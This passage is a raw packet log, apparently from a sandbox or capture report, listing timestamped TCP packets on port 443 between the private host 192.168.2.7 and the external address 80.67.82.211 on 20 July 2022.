Jul 20, 2022 19:31:06.607661009 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.610258102 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.610279083 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.610373020 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.610402107 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.610416889 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.610497952 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.612202883 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.612241030 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.612314939 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.612335920 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.612375021 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.612401962 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.613089085 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.613192081 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.624032974 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.624068975 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.624095917 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.624169111 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.624182940 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.624228001 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.624283075 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.625343084 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.625376940 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.625394106 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.625422955 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.625509024 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.625514030 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.625570059 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.625680923 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.625715971 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.625767946 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.625776052 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.625787973 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.625827074 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.625881910 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.627069950 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.627094984 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.627229929 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.627237082 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.627326965 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.627656937 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.627696037 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.627767086 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.627780914 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.627821922 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.627846003 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.627984047 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.628010988 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.628027916 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.628082037 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.628107071 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.628154039 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.628201008 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.628209114 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.629245043 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.629271030 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.629358053 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.629364967 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.629416943 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.629782915 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.629807949 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.629884005 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.629906893 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.629929066 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.629967928 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.630727053 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.630825996 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.632543087 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.632565975 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.632673979 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.632695913 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.632752895 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.634485960 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.634509087 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.634615898 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.634638071 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.634692907 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.635409117 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.635528088 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.637211084 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.637236118 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.637321949 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.637345076 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.637362003 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.637397051 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.639055014 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.639079094 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.639168024 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.639190912 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.639256001 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.640008926 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.640108109 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.640942097 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.641551971 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.641578913 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.641871929 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.641894102 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.641968966 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.641992092 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.641999006 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.642036915 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.642077923 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.642091036 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.642326117 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.643753052 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.643774986 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.643889904 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.643914938 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.643933058 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.643966913 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.643976927 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.644059896 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.644074917 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.644124985 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.644665956 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.644757032 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.644884109 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.644982100 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.645665884 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.645692110 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.645780087 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.645788908 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.645801067 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.645848989 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.646508932 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.646598101 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.647160053 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.647196054 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.647264957 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.647275925 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.647361994 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.648601055 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.648614883 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.648626089 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.648652077 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.648711920 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.648735046 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.648766994 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.648802042 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.648808002 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.648816109 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.648864985 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.648922920 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.648947954 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.648973942 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.649008036 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.649017096 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.649044037 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.649091959 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.649796963 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.649885893 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.650271893 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.650298119 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.650302887 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.650324106 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.650357962 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.650378942 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.650506973 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.650522947 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.650528908 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.650561094 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.650638103 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.650808096 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.650854111 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.650871992 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.650887012 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.650939941 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.652296066 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.652318001 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.652405977 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.652427912 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.652503967 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.654261112 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.654284000 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.654352903 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.654375076 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.654402971 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.654427052 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.654488087 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.654556990 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.656244993 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.656269073 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.656337976 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.656358957 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.656389952 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.656415939 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.657668114 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.657690048 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.657774925 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.657794952 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.657824039 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.657846928 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.657856941 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.657893896 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.657929897 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.659343958 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.659364939 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.659419060 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.659440041 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.659475088 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.659502029 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.660296917 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.660320997 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.660375118 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.660392046 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.660466909 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.661205053 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.661292076 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.662141085 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.662168980 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.662226915 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.662245989 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.662278891 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.662306070 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.663314104 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.663337946 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.663415909 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.663435936 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.663470030 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.663491964 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.663839102 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.663872957 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.663875103 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.663897038 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.663919926 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.663975954 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.664026022 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.664038897 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.664050102 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.664091110 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.664922953 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.664963961 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.665014982 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.665034056 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.665067911 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.665092945 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.665378094 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.665417910 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.665436983 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.665462971 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.665496111 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.665504932 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.665517092 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.665532112 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.665570021 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.665622950 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.665647984 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.665684938 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.665693045 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.665708065 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.665739059 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.665787935 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.665916920 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.665945053 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.666007996 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.666028023 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.666048050 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.666075945 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.666445971 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.666511059 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.666521072 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.666552067 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.666603088 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.666610956 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.666640997 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.666663885 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.666865110 CEST	443	50590	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.666939974 CEST	50590	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.667085886 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.667121887 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.667176962 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.667187929 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.667201996 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.667220116 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.667263031 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.667272091 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.667295933 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.667318106 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.667325974 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.667388916 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.667419910 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.667434931 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.667455912 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.667468071 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.667493105 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.667498112 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.667527914 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.667562008 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.668205976 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.668318987 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.668320894 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.668339014 CEST	443	50591	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.668396950 CEST	50591	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.668430090 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.668454885 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.668509960 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.668518066 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.668562889 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.668591976 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.669174910 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.669199944 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.669255018 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.669270039 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.669353008 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.669373035 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.669388056 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.669389009 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.669429064 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.669440031 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.669473886 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.669506073 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.669508934 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.670802116 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.670825005 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.670896053 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.670903921 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.670929909 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.671154976 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.671345949 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.671408892 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.671477079 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.671477079 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.671494961 CEST	443	50617	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.671538115 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.671593904 CEST	50617	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.672426939 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.672454119 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.672533989 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.672545910 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.672555923 CEST	443	50618	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:06.672615051 CEST	50618	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:06.673758984 CEST	443	50617	80.67.82.211	192.168.2.7
